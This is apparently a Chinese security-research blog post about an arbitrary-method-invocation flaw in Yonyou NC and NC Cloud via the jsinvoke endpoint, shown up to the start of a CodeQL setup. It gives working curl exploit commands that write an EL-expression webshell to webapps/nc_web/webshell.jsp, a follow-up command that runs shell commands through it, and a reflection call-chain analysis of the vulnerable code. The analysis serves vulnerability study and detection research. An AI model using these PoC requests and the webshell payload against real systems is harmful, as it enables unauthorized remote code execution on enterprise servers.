用友 NC Jsinvoke 漏洞
目录
警告
本文最后更新于 2023-09-14,文中内容可能已过时。
用友 NC Jsinvoke 漏洞
PoC
路由对比
NC 6.5:
http://ip/uapjs/jsinvoke/?action=invoke
NC Cloud:
http://ip/portal/jsinvoke/?action=invoke
写文件
- NCC
curl -i -H "Content-Type: application/json" -X POST -d '{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/webshell.jsp"]}' http://127.0.0.1:8088/portal/jsinvoke/?action=invoke
- NC 6.5
curl -i -H "Content-Type: application/json" -X POST -d '{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/webshell.jsp"]}' http://127.0.0.1:80/uapjs/jsinvoke/?action=invoke
命令执行
curl -i -X POST -d 'cmd=Runtime.getRuntime().exec("touch /tmp/success")' http://127.0.0.1:8088/webshell.jsp?error=bsh.Interpreter
分析
调用链
saveXStreamConfig:115, BaseSPService (nc.bs.iufo.base)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:44, MethodInvocation (nc.bs.framework.js.rmi)
handleMethodInvocation:24, MethodInvocationHandler (nc.bs.framework.js.rmi)
execute:67, InvokeCommand (nc.bs.framework.js.command)
invoke:26, InternalJsInvokeServlet (nc.bs.framework.js.servlet)
service:38, InternalJsInvokeServlet (nc.bs.framework.js.servlet)
service:722, HttpServlet (javax.servlet.http)
service:37, JsInvokeServlet (nc.bs.framework.js.servlet)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:169, SecurityUtil (org.apache.catalina.security)
internalDoFilter:299, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:310, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)
调用分析
在 InvokeCommand
类的 execute
方法,存在执行任意类方法的漏洞。
Gson gson = builder.create();
MethodInvocation invocation = (MethodInvocation)gson.fromJson(this.data, MethodInvocation.class);
MethodInvocationHandler handler = new MethodInvocationHandler();
try {
Object obj = handler.handleMethodInvocation(invocation); <----
if (obj != null) {
String j = GsonUtil.getSerializerGson().toJson(obj, rt);
response.setCharacterEncoding("utf-8");
response.getWriter().write(j);
response.flushBuffer();
}
调用到 handleMethodInvocation
方法,invoke
调用进入 MethodInvocation
的 invoke
方法,实际上是反射调用任意类方法。
public Object invoke(Object implementation) throws Throwable {
Method method = null;
method = this.getMethod(implementation.getClass());
Object result = method.invoke(implementation, this.parameters.toArray()); <----
return result;
}
也就是说,这个 PoC 利用了一个 jsinvoke 处理类下的一个方法的任意方法调用的漏洞,接着调用到 BaseSPService
类的 saveXStreamConfig
方法。
fos = new FileOutputStream(file, false);
writer = new OutputStreamWriter(fos, Charset.forName("UTF-8"));
writer.write("<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n");
getXStream().toXML(config, writer);
这里有个细节是利用这个方法写文件是会被过滤一些字符的,例如正常 JSP 文件中的 <
,所以这个 PoC 利用写了一个 EL 的 Webshell 来作为内容。
${param.getClass().forName(param.error).newInstance().eval(param.cmd)}
另外,这个 Webshell NC 6.5 是无法使用的,猜测是因为 NC 6.5 使用的 Tomcat 版本是很低的,无法使用这个 EL 的 Webshell。
CodeQL 挖掘
看 Codeql 是否可以挖掘出这个任意方法执行的漏洞,更甚者是否可以挖掘出这个文件写的整个利用链。
由于 NC 的 JAR 包过多,所以首先缩小范围收集到本次漏洞相关的两个文件夹下的 JAR 文件拿来制库。以调用链为参考,只取和本漏洞有关的 JAR 文件目录,具体有以下两个。
modules/aert/lib/
modules/uapfw/lib/
具体 JAR 文件如下:
qax@localhost ~/Analyse> ls jsinvoke_jar/
pubaert_commonLevel-1.jar pubaert_ziorLevel-1.jar uapfw_lightschedulerLevel-1.jar wss4j-1.5.4.jar
pubaert_olapLevel-1.jar uapfw_dbcacheLevel-1.jar uapfw_scheduleengineLevel-1.jar
pubaert_queryLevel-1.jar uapfw_jdbcframeworkLevel-1.jar uapfw_wsframeworkLevel-1.jar
pubaert_serviceLevel-1.jar uapfw_jsframeworkLevel-1.jar wsdl4j-1.6.1.jar
建库的所有操作都要在 Linux 下进行,Win 下会出现各种非预期问题。
反编译
反编译所有的 JAR 文件到一个文件夹下,包含所有的依赖 JAR。(或者挑选所辖范围之后的 所有 JAR 文件)
java -jar procyon-decompiler-0.6.0.jar jsinvoke_jar/* -o jsinvoke_de/
建库
python3.8 ./extractor/extractor-java-master/run.py jsinvoke_db ./jsinvoke_de/
完成后导入到 VSCode 分析,使用如下查询查询。